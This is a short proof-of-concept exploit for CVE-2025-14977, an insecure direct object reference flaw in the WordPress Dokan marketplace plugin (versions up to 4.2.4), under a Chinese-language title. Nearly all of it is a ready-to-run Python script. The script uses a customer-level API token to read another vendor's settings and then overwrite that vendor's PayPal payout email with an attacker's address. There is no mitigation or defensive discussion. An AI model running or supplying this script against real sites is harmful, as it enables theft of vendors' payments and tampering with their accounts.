CVE-2025-14977 WordPress Dokan插件IDOR漏洞可劫持支付信息

import requests import json # CVE-2025-14977 PoC - Dokan IDOR vulnerability # Target: WordPress site with Dokan plugin <= 4.2.4 TARGET_URL = "https://vulnerable-site.com" ATTACKER_TOKEN = "attacker_wordpress_rest_api_token" # Customer-level token VICTIM_VENDOR_ID = 2 # Target vendor ID to modify # Step 1: Read victim's settings (information disclosure) def read_victim_settings(): endpoint = f"{TARGET_URL}/wp-json/dokan/v1/settings" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: Modify the vendor_id parameter to access other vendor's settings params = { "vendor_id": VICTIM_VENDOR_ID } response = requests.get(endpoint, headers=headers, params=params) print("[+] Victim settings:", response.json()) return response.json() # Step 2: Modify victim's PayPal email to attacker-controlled address def modify_victim_payment(): endpoint = f"{TARGET_URL}/wp-json/dokan/v1/settings" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # IDOR: Send POST request with victim vendor_id to modify their payment settings payload = { "vendor_id": VICTIM_VENDOR_ID, "dokan_profile_setting": { "paypal_email": "[email protected]" } } response = requests.post(endpoint, headers=headers, json=payload) print("[+] Payment modification response:", response.status_code) return response.status_code == 200 if __name__ == "__main__": print("CVE-2025-14977 - Dokan IDOR PoC") read_victim_settings() modify_victim_payment()